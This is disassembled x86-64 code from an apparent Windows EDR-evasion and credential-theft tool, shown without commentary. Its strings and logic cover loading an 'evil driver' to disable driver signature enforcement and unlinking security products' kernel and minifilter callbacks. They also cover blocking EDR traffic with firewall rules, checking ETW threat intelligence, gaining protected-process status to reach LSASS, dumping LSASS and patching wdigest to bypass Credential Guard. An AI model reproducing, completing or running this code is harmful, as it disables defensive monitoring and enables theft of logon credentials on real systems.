call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140054ac0], r15
call fcn.140003b50
mov ecx, 0x7d0
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x14000237c
mov rbx, qword [0x1400586e0]
test rbx, rbx
je 0x140002330
mov rax, r15
inc rax
cmp word [rbx + rax*2], 0
jne 0x140002321
test rax, rax
jne 0x140002359
mov edx, 2
lea ecx, [rdx + 7]
call fcn.1400120fc
mov rbx, rax
test rax, rax
je 0x140002352
mov edx, 8
mov rcx, rax
call fcn.14000b3a0
mov qword [0x1400586e0], rbx
lea r8, [rbp + 0x4a0]
mov rdx, rbx
mov rcx, rbx
call fcn.14000ae10
cmp eax, 5
jne 0x140002398
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.140018be0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.____New_uninstall___install_attempt_failed__make_sure_that_there_is_no_trace_of_the_driver_left...
call fcn.140018be0
jmp 0x140003786
test eax, eax
jne 0x14000237c
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140038738]
call fcn.140018be0
lea rcx, str.___Checking_if_any_EDR_kernel_notify_rountines_are_set_for_image_loading__process_and_thread_creations...
call fcn.140018be0
mov edx, 0x18
mov rcx, r13
call fcn.1400120fc
mov qword [rsp + 0x70], rax
mov r12, rax
test rax, rax
jne 0x1400023f5
lea rcx, str.____Couldnt_allocate_memory_to_enumerate_the_drivers_in_Kernel_callbacks
call fcn.140018be0
jmp 0x140003786
mov edi, dword [rsp + 0x50]
mov rdx, r12
mov r8d, edi
xor ecx, ecx
call fcn.140009560
mov r8d, edi
mov rdx, r12
mov ecx, r13d
mov ebx, eax
call fcn.140009560
mov r8d, edi
mov rdx, r12
mov ecx, 2
or ebx, eax
call fcn.140009560
mov edi, eax
lea rcx, [0x140037ec8]
or edi, ebx
mov dword [rbp - 0x58], edi
call fcn.140018be0
lea rcx, str.___Checking_if_EDR_callbacks_are_registered_on_processes_and_threads_handle_creation_duplication...
call fcn.140018be0
mov rcx, r12
call fcn.1400087c0
test eax, eax
mov dword [rsp + 0x60], eax
lea rcx, str.present
lea rbx, str.not_found
mov rdx, rbx
cmovne rdx, rcx
lea rcx, str.____ObjectCallblacks__tObject_callbacks_are__s___n
call fcn.140001010
lea rcx, [0x140037ec8]
call fcn.140018be0
lea rcx, str.___Checking_if_EDR_callbacks_are_registered_on_I_O_events__minifilters_...
call fcn.140018be0
mov edx, dword [rsp + 0x50]
mov rcx, r12
call fcn.140008350
test eax, eax
mov dword [rsp + 0x64], eax
lea rax, str.present
cmovne rbx, rax
lea rcx, str.____MinifilterCallbacks__tMinifilter_callbacks_are__s___n
mov rdx, rbx
call fcn.140001010
xor ecx, ecx
test edi, edi
sete cl
xor edx, edx
cmp dword [rsp + 0x60], edx
cmove edx, ecx
xor edi, edi
cmp dword [rsp + 0x64], edi
lea rcx, [0x140037ec8]
cmove edi, edx
call fcn.140018be0
lea rcx, str.____ETWTI__tChecking_the_ETW_Threat_Intelligence_Provider_state...
call fcn.140018be0
mov ecx, dword [rsp + 0x50]
call fcn.140008e20
test rax, rax
jne 0x140002520
xor ebx, ebx
lea rdx, str.DISABLED
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
mov dword [rsp + 0x5c], ebx
call fcn.140001010
lea rcx, [0x140037ec8]
call fcn.140018be0
jmp 0x14000259c
lea r8, [rbp - 0x7c]
mov rdx, rax
mov rcx, r13
call fcn.14000a840
xor ebx, ebx
lea rax, str.ENABLED
cmp byte [rbp - 0x7c], r13b
lea rdx, str.DISABLED
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
sete bl
test ebx, ebx
mov dword [rsp + 0x5c], ebx
cmovne rdx, rax
call fcn.140001010
lea rcx, [0x140037ec8]
call fcn.140018be0
test ebx, ebx
je 0x14000259c
xor edi, edi
mov dword [rsp + 0x5c], ebx
jmp 0x14000259c
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._Aborting..._n
call fcn.140018be0
jmp 0x140003786
lea rdx, [rbp + 0x4a0]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
jmp 0x140003781
mov ebx, dword [rsp + 0x5c]
cmp r14d, 3
je 0x1400036a5
test edi, edi
je 0x14000326b
test esi, esi
mov esi, dword [rbp - 0x68]
jne 0x1400025bd
test esi, esi
je 0x14000326b
lea rcx, str.___Process_is__safe__to_launch_our_payload_n
call fcn.140018be0
test r14d, r14d
je 0x14000301b
sub r14d, r13d
je 0x140002f88
sub r14d, r13d
je 0x140002a4a
sub r14d, 2
je 0x1400029a7
cmp r14d, r13d
jne 0x14000325a
lea rcx, [rbp + 0x12f0]
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002601
test rax, rax
jne 0x140002638
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x12f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, str.CiOffsets.csv
lea rcx, [rbp + 0x12f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov edx, dword [rsp + 0x58]
lea rcx, [rbp + 0x12f0]
call fcn.140009940
test eax, eax
jne 0x14000266d
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file__or_use___internet_._Unsigned_driver_wont_be_loaded_..._n
call fcn.140018be0
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rcx, [0x140037ec8]
call fcn.140018be0
cmp dword [rsp + 0x54], 0
jne 0x140002695
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rcx, [rbp + 0x8c0]
mov rax, r15
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400026a0
test rax, rax
jne 0x1400026d4
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000297f
test al, 0x10
jne 0x14000297f
xor r9d, r9d
mov qword [rsp + 0x70], 8
lea rdx, [rsp + 0x70]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jns 0x140002723
mov edx, eax
lea rcx, str.____Failed_to_query_code_integrity_status:__08X_n
call fcn.140001070
mov edi, dword [rsp + 0x74]
mov r12d, dword [rbp - 0x78]
and edi, 3
cmp edi, r13d
jne 0x14000276d
mov edx, dword [rsp + 0x50]
mov ecx, r12d
call fcn.1400038a0
test eax, eax
jne 0x140002764
lea rcx, str.____DSE_could_not_have_been_disabled__aborting_..._n
call fcn.140018be0
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rcx, str.___DSE_is_now_disabled
jmp 0x140002774
lea rcx, str.____CI_is_already_disabled__n
call fcn.140018be0
xor r14d, r14d
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x8c0]
mov qword [rsp + 0x70], r14
call fcn.140003be0
test eax, eax
je 0x1400027f5
lea rcx, str.___Evil_driver_is_already_running__n
call fcn.140018be0
mov rcx, qword [0x1400586e8]
test rcx, rcx
je 0x1400027b3
call fcn.140018ae4
mov rcx, qword [rsp + 0x70]
call fcn.140012548
mov qword [0x1400586e8], rax
test rax, rax
jne 0x1400027d5
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
call fcn.140018be0
cmp edi, r13d
jne 0x14000325a
test r12d, r12d
je 0x1400028ee
cmp r12d, r13d
jne 0x1400037c5
jmp 0x140002894
lea rcx, str.___Installing_evil_driver...
call fcn.140018be0
call fcn.140003ee0
lea r8, [rbp + 0x8c0]
mov rdx, rax
mov rcx, rax
call fcn.14000ae10
mov esi, eax
cmp eax, 5
jne 0x14000284c
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.140018be0
call fcn.140003ee0
mov rbx, rax
call fcn.140003ee0
mov rdx, rax
lea rcx, str.____The_evil_service_should_be_manually_deleted_when_you_are_done_with_it:__ncmd__c_sc_stop__s_ncmd__c_sc_delete__s_n
mov r8, rbx
call fcn.140001010
jmp 0x140002873
call fcn.140003ee0
mov rbx, rax
call fcn.140003ee0
mov rdx, rax
lea rcx, str.____The_evil_service_should_be_manually_deleted_when_you_are_done_with_it:__ncmd__c_sc_stop__s_ncmd__c_sc_delete__s_n
mov r8, rbx
call fcn.140001010
test esi, esi
je 0x1400027d5
lea rcx, str.____An_error_occurred_while_installing_the_evil_driver
call fcn.140018be0
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
mov rbx, qword [0x1400586f0]
lea rcx, str.CI.dll
call fcn.14000abc0
add rax, qword [0x140056b20]
lea r8, [rsp + 0x70]
mov rdx, rbx
mov qword [rsp + 0x70], rax
mov ecx, 8
call fcn.14000a9b0
lea rcx, str.___Successfully_reenabled_DSE_by_restoring_Ci_CiValidateImageHeader_entry_in_SeCiCallbacks_n
call fcn.140001010
lea rcx, str.___DSE_is_enabled_again
call fcn.140018be0
lea rcx, [0x140037ec8]
call fcn.140018be0
jmp 0x1400036a5
cmp qword [0x140056b18], r14
mov edi, dword [0x1400586f8]
jne 0x140002902
mov eax, r14d
jmp 0x140002956
lea rcx, str.CI.dll
call fcn.14000abc0
test rax, rax
jne 0x140002924
lea rcx, str.____CI_base_address_not_found___n
call fcn.140018be0
mov eax, r14d
jmp 0x140002956
mov rbx, qword [0x140056b18]
lea r8, [rbp - 0x60]
add rbx, rax
mov ecx, 4
mov rdx, rbx
call fcn.14000a840
lea r8, [rbp - 0x70]
mov dword [rbp - 0x70], edi
mov rdx, rbx
mov ecx, 4
call fcn.14000a9b0
mov eax, r13d
test eax, eax
jne 0x1400028d1
lea rcx, str.____DSE_could_not_have_been_re_enabled__WARNING:_this_might_trigger_a_PatchGuard_BSoD_in_the_following_minutes..._n
call fcn.140018be0
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rdx, [rbp + 0x8c0]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
call fcn.140001010
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rcx, str.___Configuring_Windows_Firewall_rules_to_block_EDR_network_access..._n
mov qword [rsp + 0x70], 0
call fcn.140001010
lea rcx, [rsp + 0x70]
call fcn.140007ab0
test eax, eax
lea rdx, str.___Successfully_configured_Windows_Firewall_rules_to_block_EDR_network_access__n
lea rcx, str.____An_error_occured_while_attempting_to_create_Firewall_rules__n
cmovns rcx, rdx
call fcn.140001010
lea rcx, [0x140038738]
call fcn.140001010
lea rcx, str.___The_Firewall_blocking_rules_created_can_be_manually_deleted_using_the_following_commands:
call fcn.140018be0
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x14000325a
nop word [rax + rax]
mov rdx, qword [rbx + 8]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rdx, qword [rbx + 0x10]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rbx, qword [rbx + 0x18]
test rbx, rbx
jne 0x140002a10
lea rcx, [0x140037ec8]
call fcn.140018be0
jmp 0x1400036a5
lea rcx, [rbp + 0xad0]
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002a54
test rax, rax
jne 0x140002abd
movups xmm0, xmmword [str.WdigestOffsets.csv]
mov r9d, 0x104
lea r8, [rbp + 0x80]
movups xmm1, xmmword [0x1400392c8]
mov edx, r9d
lea rcx, [rbp + 0xad0]
movups xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x1400392d8]
movsd qword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x30], xmm1
call fcn.1400136c8
mov r9d, 0x14
lea r8, [rbp + 0x20]
mov edx, 0x104
lea rcx, [rbp + 0xad0]
call fcn.1400136c8
lea rcx, [rbp + 0xad0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002c66
test al, 0x10
jne 0x140002c66
lea rcx, str.___Loading_wdigest_related_offsets_from_the_CSV_file
call fcn.140018be0
call fcn.1400060d0
mov rdx, rax
lea rcx, str.___Systems_wdigest.dll_file_version_is:__s_n
mov rbx, rax
call fcn.140001010
xor r14d, r14d
lea r8, [0x14003caac]
lea rdx, [rbp + 0xad0]
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x70]
call fcn.140018ff8
mov r8, qword [rsp + 0x70]
test r8, r8
jne 0x140002b39
lea rcx, [0x14003cab0]
call fcn.140018be0
jmp 0x140002c46
mov edx, 0x800
lea rcx, [rbp + 0x1c70]
call fcn.140019640
test rax, rax
je 0x140002c3c
lea rcx, [rbp + 0x1c70]
call fcn.140012548
lea r8, [rsp + 0x78]
mov qword [rsp + 0x78], r14
lea rdx, [0x14003cb50]
mov rcx, rax
call fcn.140019534
mov r8, rax
lea rcx, [rbp + 0x1a70]
mov edx, 0x100
call fcn.140018848
lea r8, [rbp + 0x1a70]
mov rax, rbx
sub r8, rbx
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140002bb4
add rax, 2
test ecx, ecx
jne 0x140002ba0
test edx, edx
je 0x140002bd5
mov r8, qword [rsp + 0x70]
lea rcx, [rbp + 0x1c70]
mov edx, 0x800
call fcn.140019640
test rax, rax
jne 0x140002b53
jmp 0x140002c3c
mov rdx, rbx
lea rcx, str.___Offsets_are_available_for_this_version_of_wdigest.dll___s___n
call fcn.140001010
lea r8, [rsp + 0x78]
xor ecx, ecx
lea rdx, [0x14003cb50]
call fcn.140019534
mov rcx, rax
lea rdx, [rbp - 0x70]
mov r8d, 0x10
call fcn.14001920c
lea r8, [rsp + 0x78]
mov qword [0x140056290], rax
lea rdx, [0x14003cb50]
xor ecx, ecx
call fcn.140019534
mov rcx, rax
lea rdx, [rbp - 0x70]
mov r8d, 0x10
call fcn.14001920c
mov qword [0x140056298], rax
mov rcx, qword [rsp + 0x70]
call fcn.140019174
cmp qword [0x140056290], r14
je 0x140002c58
cmp qword [0x140056298], r14
jne 0x140002c69
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_wdigest_in_use.
call fcn.140018be0
jmp 0x140002c69
xor r14d, r14d
cmp dword [rsp + 0x58], 0
je 0x140002ed6
cmp qword [0x140056290], 0
je 0x140002c8c
cmp qword [0x140056298], 0
jne 0x140002ed6
lea rcx, str.___Downloading_wdigest_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.140018be0
call fcn.140006020
mov rcx, rax
call fcn.1400045b0
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.14000a470
mov rcx, rax
mov rdi, rax
call fcn.14000b490
mov rcx, qword [rdi + 0x80]
mov rbx, rax
test rcx, rcx
je 0x140002cd8
call fcn.140018ae4
mov qword [rdi + 0x80], r14
mov rcx, rdi
call fcn.140018ae4
mov rcx, rsi
call fcn.140018ae4
test rbx, rbx
je 0x140002de3
xor edx, edx
lea rcx, [rbp + 0x1c70]
mov r8d, 0x830
call fcn.14000f000
mov rdx, qword [rbx + 8]
lea r9, [rbp + 0x1c70]
mov rcx, qword [rbx + 0x10]
lea r8, str.g_fParameter_UseLogonCredential
mov dword [rbp + 0x1c70], 0x58
mov dword [rbp + 0x1cc0], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
test eax, eax
je 0x140002d46
mov rax, qword [rbp + 0x1ca8]
sub rax, qword [rbx + 8]
jmp 0x140002d49
mov rax, r14
xor edx, edx
mov qword [0x140056290], rax
mov r8d, 0x830
lea rcx, [rbp + 0x1c70]
call fcn.14000f000
mov rdx, qword [rbx + 8]
lea r9, [rbp + 0x1c70]
mov rcx, qword [rbx + 0x10]
lea r8, str.g_IsCredGuardEnabled
mov dword [rbp + 0x1c70], 0x58
mov dword [rbp + 0x1cc0], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
test eax, eax
je 0x140002da5
mov rax, qword [rbp + 0x1ca8]
sub rax, qword [rbx + 8]
jmp 0x140002da8
mov rax, r14
mov rdx, qword [rbx + 8]
mov rcx, qword [rbx + 0x10]
mov qword [0x140056298], rax
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbx]
call fcn.140018ae4
mov rcx, rbx
mov qword [rbx], r14
call fcn.140018ae4
cmp qword [0x140056290], 0
je 0x140002eca
cmp qword [0x140056298], 0
je 0x140002eca
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.140018be0
lea rcx, [rbp + 0xad0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002ed6
test al, 0x10
jne 0x140002ed6
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.140018be0
call fcn.1400060d0
lea r8, [0x14003cbe0]
mov qword [rsp + 0x70], r14
lea rdx, [rbp + 0xad0]
mov rbx, rax
lea rcx, [rsp + 0x70]
call fcn.140018ff8
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x140002e6d
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x140002ed1
mov r8, rbx
lea rdx, [0x140037454]
call fcn.1400046a0
lea rbx, [0x140056290]
lea rdi, [0x1400562a0]
nop word [rax + rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x70]
call fcn.1400046a0
add rbx, 8
cmp rbx, rdi
jl 0x140002e90
mov rdx, qword [rsp + 0x70]
lea rcx, [0x140038738]
call fcn.140019390
mov rcx, qword [rsp + 0x70]
call fcn.140019174
jmp 0x140002ed6
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.140018be0
cmp qword [0x140056290], 0
je 0x140002f67
cmp qword [0x140056298], 0
je 0x140002f67
lea rcx, [0x140037ec8]
call fcn.140018be0
cmp dword [rsp + 0x54], 0
je 0x140002f20
lea rcx, str.___Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__if_PPL_are_supported_by_the_OS_Offset_of__PS_PROTECTION_exists_._This_will_allow_lsass_access_is_RunAsPPL_is_enabled
call fcn.140018be0
cmp qword [0x1400566c8], 0
je 0x140002f20
mov ecx, dword [rsp + 0x50]
call fcn.1400094b0
call fcn.140003f60
test eax, eax
je 0x140002f46
lea rcx, str.___LSASS_was_patched_and_Credential_Guard_should_be_bypassed_for_future_logins_on_the_system.
call fcn.140018be0
lea rcx, [0x140037ec8]
call fcn.140018be0
jmp 0x1400036a5
lea rcx, str.____LSASS_couldnt_be_patched_and_Credential_Guard_will_not_be_bypassed.
call fcn.140018be0
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._LSASS_wont_be_patched..._n
call fcn.140018be0
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rcx, str.___Kernel_callbacks_have_normally_been_removed__starting_cmd.exe_nWARNING:_EDR_kernel_callbacks_will_be_restored_after_exiting_the_cmd_prompt__by_typing_exit__nWARNING:_While_unlikely__the_longer_the_callbacks_are_removed__the_higher_the_chance_of_being_detected___causing_a_BSoD_upon_restore_is__n
call fcn.140018be0
xor edx, edx
lea rcx, [rbp + 0x1710]
mov r8d, 0x208
call fcn.14000f000
mov edx, 0x104
lea rcx, [rbp + 0x1710]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edx, edx
lea rcx, [rbp + 0xce0]
mov r8d, 0x208
call fcn.14000f000
lea r8, [rbp + 0x1710]
mov edx, 0x104
lea rcx, [rbp + 0xce0]
call fcn.1400188b0
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0xce0]
call fcn.1400188b0
lea rcx, [rbp + 0xce0]
call fcn.140018928
lea rcx, [0x140037ec8]
call fcn.140018be0
jmp 0x1400036a5
cmp dword [rsp + 0x54], 0
je 0x140003041
cmp qword [0x1400566c8], 0
je 0x140003041
lea rcx, str._n___RunPPL_bypass:_Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__since_PPL_is_supported_by_the_OS._This_will_allow_access_to_LSASS_if_RunAsPPL_is_enabled
call fcn.140018be0
mov ecx, dword [rsp + 0x50]
call fcn.1400094b0
lea rcx, str.___Attempting_to_dump_the_process
call fcn.140018be0
lea rcx, [rbp + 0x290]
mov rax, r15
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140003060
test rax, rax
jne 0x1400030d9
lea rcx, [rbp + 0x1500]
call fcn.140012548
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea r8, [rbp + 0x80]
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.1400188b0
lea r8, [0x140039108]
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.1400188b0
mov r8, rbx
lea rcx, [rbp + 0x290]
mov edx, 0x104
call fcn.1400188b0
test rbx, rbx
je 0x14000318e
jmp 0x140003186
lea rcx, [rbp + 0x290]
call qword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
je 0x14000318e
lea rcx, [rbp + 0x290]
mov rax, r15
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140003100
lea rdx, [rbp + 0x80]
mov rcx, r15
cmp word [rdx + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140003114
lea rdi, [rcx + 2]
mov edx, 2
add rdi, rax
mov rcx, rdi
call fcn.1400120fc
mov rbx, rax
test rax, rax
je 0x1400031a3
lea r8, [rbp + 0x80]
mov rdx, rdi
mov rcx, rax
call fcn.1400188b0
lea r8, [0x140039108]
mov rdx, rdi
mov rcx, rbx
call fcn.1400188b0
lea r8, [rbp + 0x290]
mov rdx, rdi
mov rcx, rbx
call fcn.1400188b0
mov r8, rbx
lea rcx, [rbp + 0x290]
mov edx, 0x104
call fcn.140018848
mov rcx, rbx
call fcn.140018ae4
mov edx, 8
lea ecx, [rdx - 6]
call fcn.1400120fc
mov rbx, rax
test rax, rax
jne 0x1400031c4
lea rcx, str.____A_fatal_error_occurred_while_allocating_memory_for_thread_arguments
call fcn.140018be0
lea rcx, [0x140037ec8]
mov dword [rbp - 0x80], r13d
call fcn.140018be0
jmp 0x1400036a5
lea rax, [rbp + 0x1500]
xor edx, edx
mov qword [rbx], rax
xor ecx, ecx
lea rax, [rbp + 0x290]
mov r9, rbx
mov qword [rbx + 8], rax
test esi, esi
je 0x1400031f8
xor esi, esi
lea r8, [0x140006010]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
jmp 0x14000320a
xor eax, eax
lea r8, [0x1400092c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140003242
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rbp - 0x80], 0
je 0x140003252
lea rcx, str.____A_fatal_error_occurred_during_the_LSASS_dump___execution_of_cmd.exe
jmp 0x140003249
lea rcx, str.____An_error_occurred_while_attempting_to_start_the_new_thread...
call fcn.140018be0
mov dword [rbp - 0x80], r13d
mov rcx, rbx
call fcn.140018ae4
lea rcx, [0x140037ec8]
call fcn.140018be0
jmp 0x1400036a5
call fcn.1400010d0
test eax, eax
jne 0x1400037da
lea rcx, str.___Process_is_NOT__safe__to_launch_our_payload__removing_monitoring_and_starting_another_process..._n
call fcn.140018be0
test ebx, ebx
je 0x14000329f
mov ecx, dword [rsp + 0x50]
xor edx, edx
call fcn.140008ee0
lea rcx, [0x140037ec8]
call fcn.140018be0
mov edi, dword [rbp - 0x58]
test edi, edi
je 0x1400032e9
lea rcx, str.___Removing_kernel_callbacks_registered_by_EDR_for_process_creation__thread_creation_and_image_loading...
call fcn.140018be0
mov r8d, r13d
mov rdx, r12
xor ecx, ecx
call fcn.140009820
mov r8d, r13d
mov rdx, r12
mov ecx, r13d
call fcn.140009820
mov r8d, r13d
mov rdx, r12
mov ecx, 2
call fcn.140009820
lea rcx, [0x140037ec8]
call fcn.140018be0
mov esi, dword [rsp + 0x60]
test esi, esi
je 0x140003313
lea rcx, str.___Disabling_kernel_callbacks_registered_by_EDR_for_process_and_thread_opening_or_handle_duplication...
call fcn.140018be0
xor edx, edx
mov rcx, r12
call fcn.140008d00
lea rcx, [0x140037ec8]
call fcn.140018be0
mov r14d, dword [rsp + 0x64]
test r14d, r14d
je 0x1400033f8
lea rcx, str.___Removing_minifilter_callbacks_registered_by_EDR_for_monitoring_I_O_operations...
call fcn.140018be0
lea rcx, str.____MinifilterCallbacks__tRemoving_previously_identified_callbacks_nodes_by_unlinking_them_from_their_list
call fcn.140018be0
imul rax, qword [r12], 0x38
mov rsi, qword [r12 + 0x10]
xor r14d, r14d
add rax, rsi
cmp rsi, rax
jae 0x1400033d4
cmp dword [rsi], 2
jne 0x1400033be
cmp dword [rsi + 0x30], 0
jne 0x1400033be
mov rbx, qword [rsi + 0x10]
lea r8, [rbp - 0x60]
mov ecx, 8
lea rdx, [rbx + 8]
call fcn.14000a840
lea r8, [rbp - 0x78]
mov rdx, rbx
mov ecx, 8
call fcn.14000a840
mov rbx, qword [rbp - 0x78]
lea r8, [rbp - 0x68]
mov rdi, qword [rbp - 0x60]
mov ecx, 8
mov qword [rbp - 0x68], rdi
lea rdx, [rbx + 8]
call fcn.14000a9b0
lea r8, [rbp - 0x68]
mov qword [rbp - 0x68], rbx
mov rdx, rdi
mov ecx, 8
call fcn.14000a9b0
inc r14
mov dword [rsi + 0x30], r13d
imul rax, qword [r12], 0x38
add rsi, 0x38
add rax, qword [r12 + 0x10]
cmp rsi, rax
jb 0x140003352
mov edi, dword [rbp - 0x58]
mov rdx, r14
lea rcx, str.____MinifilterCallbacks__t_t_llu_callback_nodes_were_removed__n
call fcn.140001010
lea rcx, [0x140037ec8]
call fcn.140018be0
mov esi, dword [rsp + 0x60]
mov r14d, dword [rsp + 0x64]
lea rcx, str.___All_EDR_drivers_were_successfully_removed_from_Kernel_callbacks__n_n_nStarting_a_new_unmonitored_process..._n_n
call fcn.140018be0
xorps xmm0, xmm0
mov dword [rbp - 0x50], 0x68
xor eax, eax
movups xmmword [rbp - 0x4c], xmm0
mov dword [rbp + 0x14], eax
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp + 0x30], rax
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, qword [0x140054ac0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x50]
mov qword [0x140054ac0], r15
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov rcx, qword [rcx]
xor eax, eax
mov qword [rsp + 0x38], rax
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400034b7
mov rcx, qword [rbp + 0x20]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400034c7
lea rcx, str.____An_error_occured_while_trying_to_create_a_new_process
call fcn.140018be0
mov dword [rbp - 0x80], r13d
lea rcx, [0x140038738]
call fcn.140018be0
cmp dword [rbp - 0x70], r13d
jne 0x140003674
test edi, edi
je 0x140003523
lea rcx, str.___Restoring_EDRs_kernel_notify_routine_callbacks...
call fcn.140018be0
xor r8d, r8d
mov rdx, r12
xor ecx, ecx
call fcn.140009820
xor r8d, r8d
mov rdx, r12
mov ecx, r13d
call fcn.140009820
xor r8d, r8d
mov rdx, r12
lea ecx, [r8 + 2]
call fcn.140009820
lea rcx, [0x140037ec8]
call fcn.140018be0
test esi, esi
je 0x14000354a
lea rcx, str.___Restoring_EDRs_kernel_object_callbacks...
call fcn.140018be0
mov edx, r13d
mov rcx, r12
call fcn.140008d00
lea rcx, [0x140037ec8]
call fcn.140018be0
test r14d, r14d
je 0x140003674
